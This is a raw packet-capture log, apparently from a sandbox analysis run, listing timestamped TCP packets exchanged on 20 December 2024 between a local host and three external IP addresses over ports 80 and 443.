Dec 20, 2024 07:12:39.556586981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.557573080 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.557665110 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.557719946 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.558815002 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.558878899 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.558974981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.559058905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.559983969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.560069084 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.560086012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.560147047 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.561197996 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.561347008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.561388969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.561420918 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.562526941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.562678099 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.562755108 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.563575983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.563647985 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.563709974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.564769030 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.564846039 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.564912081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.565900087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.566009998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.566013098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.566067934 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.567096949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.567207098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.567261934 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.568288088 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.568387985 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.568450928 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.569464922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.569525957 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.569581985 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.569633007 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.570666075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.570730925 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.570780039 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.570831060 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.571856976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.571923018 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.571964979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.572017908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.573045969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.573128939 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.573151112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.573223114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.574287891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.574347019 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.574649096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.574721098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.575422049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.575479031 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.575526953 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.575588942 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.576594114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.576658964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.576709986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.576757908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.577840090 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.577941895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.577963114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.577992916 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.579015970 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.579077005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.579109907 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.579159975 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.580166101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.580219984 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.580282927 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.580337048 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.581357956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.581410885 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.581459999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.581530094 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.582532883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.582582951 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.582629919 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.582679033 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.583740950 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.583843946 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.583893061 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.583942890 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.584923983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.584985018 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.585025072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.585073948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.586105108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.586245060 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.586297035 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.587310076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.587378979 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.587424994 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.587475061 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.588485003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.588548899 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.588593960 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.588658094 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.589673042 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.589821100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.589879990 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.590863943 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.590914965 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.590960979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.591078997 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.592048883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.592114925 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.592158079 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.592211962 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.593269110 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.593321085 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.593462944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.593517065 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.594433069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.594501972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.594547987 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.594600916 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.595717907 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.595781088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.595801115 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.595850945 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.596807957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.596860886 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.596906900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.596960068 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.597997904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.598109007 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.598170042 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.599217892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.599273920 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.599323034 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.599420071 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.600374937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.600452900 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.600486040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.600539923 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.601551056 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.601665020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.601718903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.602812052 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.602870941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.602936983 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.603924990 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.604023933 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.604051113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.604103088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.605159998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.605214119 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.605258942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.605309010 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.606333017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.606499910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.606564999 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.607520103 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.607588053 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.607644081 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.607698917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.608701944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.608757973 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.608803034 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.608853102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.609895945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.609970093 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.610004902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.610055923 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.611124039 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.611196995 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.611243010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.611294985 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.612263918 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.612330914 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.612387896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.612451077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.613467932 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.613532066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.613574982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.613622904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.614651918 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.614711046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.614764929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.614819050 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.615946054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.615997076 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.616065025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.616116047 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.617033005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.617558002 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.673405886 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:39.673547029 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:39.717443943 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:39.717539072 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:39.746788025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.747004032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.747081995 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.747437954 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.747461081 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.747503042 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.747558117 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.748384953 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.748451948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.748517990 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.748570919 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.749483109 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.749587059 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.749625921 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.749656916 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.750660896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.750718117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.750730038 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.750837088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.751863003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.751961946 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.751995087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.752074957 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.753046036 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.753132105 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.753173113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.753258944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.754236937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.754328966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.754394054 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.833544016 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:39.921483994 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:39.921569109 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:39.958132029 CET	443	49844	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:39.958256006 CET	443	49844	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:39.958348036 CET	49844	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:39.969516039 CET	49844	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:39.969530106 CET	443	49844	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:40.161524057 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.161596060 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.306539059 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.306857109 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.307020903 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.426630974 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.426645994 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.426666021 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.426713943 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.426717043 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.426769018 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.426785946 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.426821947 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.426848888 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.426908016 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.426911116 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.426923037 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.426991940 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.427017927 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.427031040 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.427090883 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.427098036 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.427113056 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.427151918 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.427191019 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.427201033 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.427253008 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.427253008 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.427380085 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.427464962 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.427506924 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.427535057 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.427596092 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.427695036 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.427752018 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.427864075 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.427997112 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.428152084 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.428417921 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.428477049 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.428531885 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.428595066 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.428601027 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.428653002 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.428700924 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.428759098 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.428771973 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.428831100 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.428956985 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.429049015 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.429081917 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.429161072 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.429166079 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.429214001 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.429255009 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.429312944 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.429374933 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.546380997 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.546483040 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.546510935 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.546534061 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.546561003 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.546607018 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.546613932 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.546724081 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.546770096 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.546885967 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.546983957 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.547059059 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.547132015 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.547249079 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.547261000 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.547283888 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.547389030 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.547401905 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.547482014 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.547492981 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.547604084 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.547616005 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.547883034 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.547930002 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.548049927 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.548062086 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.548083067 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.548110008 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.548136950 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.548176050 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.548190117 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.548227072 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.548242092 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.548271894 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.548286915 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.548346996 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.548389912 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.548403025 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.548449039 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.548480034 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.548494101 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.548535109 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.548566103 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.548572063 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.548587084 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.548693895 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:40.548708916 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.548722982 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.548793077 CET	80	49848	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:40.548806906 CET	80	49848	147.45.113.159	192.168.2.4
